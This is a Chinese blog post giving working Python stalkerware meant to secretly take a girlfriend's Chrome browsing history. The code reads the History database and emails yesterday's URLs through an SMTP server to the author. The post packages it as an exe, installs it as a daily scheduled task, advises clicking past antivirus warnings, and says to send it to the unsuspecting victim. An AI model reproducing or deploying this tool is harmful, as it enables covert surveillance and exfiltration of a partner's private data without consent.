Python定时偷取妹子Chrome上网记录
原文:教大家一招用Python实时监控自己的女朋友每天上网都在做什么!
参考这个思路,尝试自己实现一下
读取Chrome历史记录文件
1、文件可在以下路径找到,这是个sqllite数据库文件
C:\Users\自己的用户名\AppData\Local\Google\Chrome\User Data\Default\History
2、使用DB Browser把这个文件加进来,打开后可以看到表信息,这里用到的urls表中的url和last_visit_time字段
3、使用sqlite3模块,读取表字段值,打印出来看看
打印本地时间戳
>>> import time
>>> time.time()
1534399058.524
这里发现其中last_visit_time字段的内容不太能理解,与当前时间戳相差甚大,Google发现这个值是以1601年为基准的时间戳,并且单位是微秒
iivaf...@gmail.com Thanks you a lot. I find reason. usual utc Unix-like system (Jan 1, 1970) Chrome start from new date 1601 so difference 11644473600 second to calculate usual date. Thanks you to helpfull links
4、对last_visit_time做判断,取得需要的数据
get_chrome_history.py代码如下:
PS:这里有个问题,chrome浏览器要手动关闭(也可以在代码里强制关掉),否则History文件被占用,db文件打开出错)
# -*- coding:utf-8 -*-
# __author__ :kusy
# __content__:文件说明
# __date__:2018/8/16 9:38 """
Get Visitied URLS in Chrome History
""" import sqlite3
import time
import datetime
import os
import getpass
import pytz def get_history_data():
#获取今天0点的日期
now = datetime.datetime.now()
now_000 = time.strftime('%Y-%m-%d',datetime.datetime.timetuple(now)) #获取昨天0点的日期
today = datetime.datetime.strptime(now_000,'%Y-%m-%d')
yestoday = today - datetime.timedelta(days=1)
basedate = datetime.datetime(1601,1,1) # 获取以1601年为基准的时间戳
# today_timestamp = (today - basedate).total_seconds()
yestoday_timestamp = (yestoday - basedate).total_seconds() # 获取当前系统登录用户名
localuser = getpass.getuser()
connstr = 'C:\\Users\\' + localuser + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History'
# 校验Chrome文件是否存在
if not os.path.exists(connstr):
raise Exception('Chrome History File does not exists!') conn = sqlite3.connect(connstr)
cur = conn.cursor()
querystr = 'select url,last_visit_time from urls order by last_visit_time desc' try:
cur.execute(querystr)
except sqlite3.OperationalError:
print('please close chrome browser at first!') data_all = cur.fetchall()
expectdata = []
for data in data_all:
#微秒转换为秒
last_visit_time = data[1] / 1000 / 1000
# 获取昨天时间之后的内容,否则退出循环(查询数据已经倒序排列)
if last_visit_time > yestoday_timestamp:
# 转换访问时间,UTC转换时区 + 8h
visit_time = basedate + datetime.timedelta(seconds=last_visit_time,hours=8)
# #UTC转换时区
# visit_time = visit_time.astimezone(pytz.timezone('Asia/Shanghai'))
visit_time = time.strftime('%Y-%m-%d %H:%M:%S',datetime.datetime.timetuple(visit_time))
expectdata.append(visit_time + ' ' + data[0])
else:
# 如果无历史数据,抛出异常提示
if expectdata == []:
raise Exception('there is no data.')
break
cur.close()
conn.close()
return '\n'.join(expectdata) if __name__ == '__main__':
print(get_history_data())
通过邮件发送数据
1、sendemail.py代码如下
# -*- coding:utf-8 -*-
# __author__ :kusy
# __content__:文件说明
# __date__:2018/8/16 15:37 from email.mime.text import MIMEText
from email.header import Header
from email.utils import parseaddr, formataddr
import smtplib from get_chrome_history import get_history_data def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr)) def send():
from_addr = 'sky_wangjz@163.com'
password = 'xxxx.' to_addr = 'sky_wangjz@163.com'
smtp_server = 'smtp.163.com' # 拼接发送内容
mimestr = '<html><body><h1>昨日Chrome浏览记录</h1>'
for hisdata in get_history_data().split('\n'):
# 日期和网址分开
hisdata_split = hisdata.split(' ')
# print(hisdata_split)
mimestr = mimestr + '<p>' + \
hisdata_split[0] + \
' <a href=\"' + hisdata_split[1] + '\">' +\
hisdata_split[1] + '</a></p>'
mimestr = mimestr + '</body></html>' print(mimestr)
msg = MIMEText(mimestr, 'html', 'utf-8')
msg['From'] = _format_addr('Python爱好者 <%s>' % from_addr)
msg['To'] = _format_addr('Python爱好者 <%s>' % to_addr)
msg['Subject'] = Header('Chrome昨日浏览记录', 'utf-8').encode() server = smtplib.SMTP(smtp_server,25)
server.set_debuglevel(1)
server.login(from_addr,password)
server.sendmail(from_addr,[to_addr],msg.as_string())
server.quit() if __name__ == '__main__':
send()
2、效果图如下
文件发给妹子执行
1、py文件打包成exe,安装pyinstaller工具
C:\Users\suneee>pip3 install pyinstaller
Collecting pyinstaller
Downloading https://files.pythonhosted.org/packages/3c/86/909a8c35c5471919b3854c01f43843d9b5aed0e9
948b63e560010f7f3429/PyInstaller-3.3.1.tar.gz (3.5MB)
71% |██████████████████████▊ | 2.5MB 8.7kB/s eta 0:01:56
2、执行命令:pyinstaller -F sendemail.py
Q:\PyWorkSpace\LearnPython>pyinstaller -F sendemail.py
148 INFO: PyInstaller: 3.3.1
148 INFO: Python: 3.6.3
148 INFO: Platform: Windows-7-6.1.7601-SP1
150 INFO: wrote Q:\PyWorkSpace\LearnPython\sendemail.spec
156 INFO: UPX is not available.
158 INFO: Extending PYTHONPATH with paths
['Q:\\PyWorkSpace\\LearnPython', 'Q:\\PyWorkSpace\\LearnPython']
158 INFO: checking Analysis
158 INFO: Building Analysis because out00-Analysis.toc is non existent
158 INFO: Initializing module dependency graph...
160 INFO: Initializing module graph hooks...
161 INFO: Analyzing base_library.zip ...
5476 INFO: running Analysis out00-Analysis.toc
5529 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of final executable
required by c:\users\suneee\appdata\local\programs\python\python36\python.exe
6631 INFO: Caching module hooks...
6635 INFO: Analyzing Q:\PyWorkSpace\LearnPython\sendemail.py
7201 INFO: Processing pre-find module path hook distutils
8420 INFO: Loading module hooks...
8421 INFO: Loading module hook "hook-distutils.py"...
8433 INFO: Loading module hook "hook-encodings.py"...
8588 INFO: Loading module hook "hook-lib2to3.py"...
8598 INFO: Loading module hook "hook-pkg_resources.py"...
9021 INFO: Processing pre-safe import module hook win32com
9367 INFO: Loading module hook "hook-pydoc.py"...
9368 INFO: Loading module hook "hook-pythoncom.py"...
9709 INFO: Loading module hook "hook-pytz.py"...
9854 INFO: Loading module hook "hook-pywintypes.py"...
10100 INFO: Loading module hook "hook-sqlite3.py"...
10200 INFO: Loading module hook "hook-sysconfig.py"...
10201 INFO: Loading module hook "hook-win32com.py"...
10858 INFO: Loading module hook "hook-xml.py"...
11228 INFO: Looking for ctypes DLLs
11243 INFO: Analyzing run-time hooks ...
11246 INFO: Including run-time hook 'pyi_rth_pkgres.py'
11249 INFO: Including run-time hook 'pyi_rth_win32comgenpy.py'
11252 INFO: Including run-time hook 'pyi_rth_multiprocessing.py'
11264 INFO: Looking for dynamic libraries
11756 INFO: Looking for eggs
11756 INFO: Using Python library c:\users\suneee\appdata\local\programs\python\python36\python36.dll
11756 INFO: Found binding redirects:
[]
11759 INFO: Warnings written to Q:\PyWorkSpace\LearnPython\build\sendemail\warnsendemail.txt
11818 INFO: Graph cross-reference written to Q:\PyWorkSpace\LearnPython\build\sendemail\xref-sendemail.html
11888 INFO: checking PYZ
11888 INFO: Building PYZ because out00-PYZ.toc is non existent
11888 INFO: Building PYZ (ZlibArchive) Q:\PyWorkSpace\LearnPython\build\sendemail\out00-PYZ.pyz
12544 INFO: Building PYZ (ZlibArchive) Q:\PyWorkSpace\LearnPython\build\sendemail\out00-PYZ.pyz completed successfully.
12555 INFO: checking PKG
12555 INFO: Building PKG because out00-PKG.toc is non existent
12557 INFO: Building PKG (CArchive) out00-PKG.pkg
12635 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\python36.dll
12639 INFO: Updating resource type 24 name 2 language 1033
12928 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_decimal.pyd
12928 INFO: Updating resource type 24 name 2 language 1033
12937 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_ctypes.pyd
12937 INFO: Updating resource type 24 name 2 language 1033
12944 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_multiprocessing.pyd
12946 INFO: Updating resource type 24 name 2 language 1033
13007 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_ssl.pyd
13008 INFO: Updating resource type 24 name 2 language 1033
13022 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\unicodedata.pyd
13022 INFO: Updating resource type 24 name 2 language 1033
13039 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\pyexpat.pyd
13040 INFO: Updating resource type 24 name 2 language 1033
13055 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_hashlib.pyd
13055 INFO: Updating resource type 24 name 2 language 1033
13067 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_bz2.pyd
13068 INFO: Updating resource type 24 name 2 language 1033
13086 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_lzma.pyd
13088 INFO: Updating resource type 24 name 2 language 1033
13104 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_socket.pyd
13104 INFO: Updating resource type 24 name 2 language 1033
13112 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\select.pyd
13113 INFO: Updating resource type 24 name 2 language 1033
13121 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_sqlite3.pyd
13123 INFO: Updating resource type 24 name 2 language 1033
13176 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\sqlite3.dll
13177 INFO: Updating resource type 24 name 2 language 1033
17795 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully.
17872 INFO: Bootloader c:\users\suneee\appdata\local\programs\python\python36\lib\site-packages\PyInstaller\bootloader\Windows-64bit\run.exe
17872 INFO: checking EXE
17872 INFO: Building EXE because out00-EXE.toc is non existent
17873 INFO: Building EXE from out00-EXE.toc
17873 INFO: Appending archive to EXE Q:\PyWorkSpace\LearnPython\dist\sendemail.exe
17884 INFO: Building EXE from out00-EXE.toc completed successfully. Q:\PyWorkSpace\LearnPython>
执行信息
执行完之后,可以看到生成了exe文件,运行一下,被360阻止发邮件,允许,成功发送
3、把这个exe文件使用批处理做计划任务(每天10点执行),运行bat文件,360阻止的话也允许(bat文件和exe文件放在同一路径即可)
rem delete task :send_chrome_history
schtasks /delete /tn "send_chrome_history" /f
rem add task :send_chrome_history
schtasks /create /tn "send_chrome_history" /tr ".\sendemail.exe" /st 10:00 /sc DAILY
rem run right now
sendemail.exe
可以看到计划任务已经添加成功了,以后每天10点都会自动执行
4、一切都准备好了,然后发给妹子,策略是否成功就看妹子到底有多傻了^o^
Python定时偷取妹子Chrome上网记录的更多相关文章
- 一篇文章教会你使用Python定时抓取微博评论
[Part1--理论篇] 试想一个问题,如果我们要抓取某个微博大V微博的评论数据,应该怎么实现呢?最简单的做法就是找到微博评论数据接口,然后通过改变参数来获取最新数据并保存.首先从微博api寻找抓取评 ...
- 用Python定时爬取网站最新资源
记录一下. 写做个网站,爬了另一个网站的内容来做自己网站的内容. 把脚本挂到服务器,每隔一个小时去爬一次资源,然后保存到一个HTML文件里. 用flask做web对接,当有请求的时候就返回那个HTML ...
- python 定时爬取内容并发送报告到指定邮箱
import requests import smtplib import schedule import time from bs4 import BeautifulSoup from email. ...
- PowerShell定时抓取屏幕图像
昨天的博文写了定时记录操作系统行为,其实说白了就是抓取了击键的记录和对应窗口的标题栏,而很多应用程序标题栏又包含当时记录的文件路径和文件名,用这种方式可以大致记录操作了哪些程序,打开了哪些文 ...
- Python协程爬取妹子图(内有福利,你懂得~)
项目说明: 1.项目介绍 本项目使用Python提供的协程+scrapy中的选择器的使用(相当好用)实现爬取妹子图的(福利图)图片,这个学会了,某榴什么的.pow(2, 10)是吧! 2.用到的知 ...
- python 爬取妹子
爬取妹子图片 网址:https://www.mzitu.com/jiepai/ 2019-06-13 环境WIN10 1903 python 3.7.3 个人习惯先在IDLE中进行调试 import ...
- 用 Python 分析上网记录,发现了很多不可思议的事
摘要:分享个 Python 神工具. 长时间使用浏览器会积累大量浏览器历史记录,这些是很隐私的数据,里面甚至可能有一些不可描述的网站或者搜索记录不想让别人知道. 不过,我们自己可能会感兴趣,天天上 ...
- Python-爬取妹子图(单线程和多线程版本)
一.参考文章 Python爬虫之——爬取妹子图片 上述文章中的代码讲述的非常清楚,我的基本能思路也是这样,本篇文章中的代码仅仅做了一些异常处理和一些日志显示优化工作,写此文章主要是当做笔记,方便以后查 ...
- Python3爬虫系列:理论+实验+爬取妹子图实战
Github: https://github.com/wangy8961/python3-concurrency-pics-02 ,欢迎star 爬虫系列: (1) 理论 Python3爬虫系列01 ...
随机推荐
- Java Polymorphism
Ability of an organism to take different shapes is polymorphism in bio world. A simplest definition ...
- Maven pom文件中dependency scope用法
在Maven中依赖的域有:compile.provided.runtime.system.test.import 一.compile(默认) 当依赖的scope为compile的时候,那么当前这个依赖 ...
- 树莓派项目(三) 数字识别树莓派3+python3.5+opencv3.3+tensorflow1.7+keras
https://blog.csdn.net/weixin_40707450/article/details/80290705
- PHP引用(&)
引用是什么 在 PHP 中引用意味着用不同的名字访问同一个变量内容.这并不像 C 的指针:例如你不能对他们做指针运算,他们并不是实际的内存地址.替代的是,引用是符号表别名.注意在PHP 中,变量名和变 ...
- 套接字编程简介: IPV4套接字地址结构/ 通用套接字地址结构/ IPV6套接字地址结构/新通用套接字地址结构
IPv4套接字地址结构通常也称为“网际套接字地址结构”,它以sockaddr_in命名,定义在<netinet/in.h>头文件中. struct in_addr { in_addr_t ...
- 正睿2019省选附加赛 Day10 (这篇其实已经都咕咕了...)
目录 2019.3.13 A.算算算(二项式定理 斯特林数) B.买买买 C.树树树 2019.3.13 比赛链接 A.算算算(二项式定理 斯特林数) 题目链接 \(x^k\)可以用二项式定理展开,需 ...
- ES6 - 开篇
一些关于es6简单的介绍与了解.初始认知有限,循序完善. ES6: 又叫ES2015,是2015年推出的JavaScript新版本. 相应的,后边推出的ES7.8.9.10等都依次是上一版本发出后一年 ...
- WPF——OXY绘图_old
plotModel = new PlotModel() { Title = "数据统计", LegendTitle = "Max:红色,Min:黄色", Leg ...
- http请求的header的一个小细节
今天前后端联调的时候无论如何后端都搜不到前端的token,以为是公司全局网关拦截了token,最后发现也不是,最终在无意之中发现http请求的header的key不能带有下划线,比如app_token ...
- pygis库组件安装相关问题
python -m pip install --upgrade pip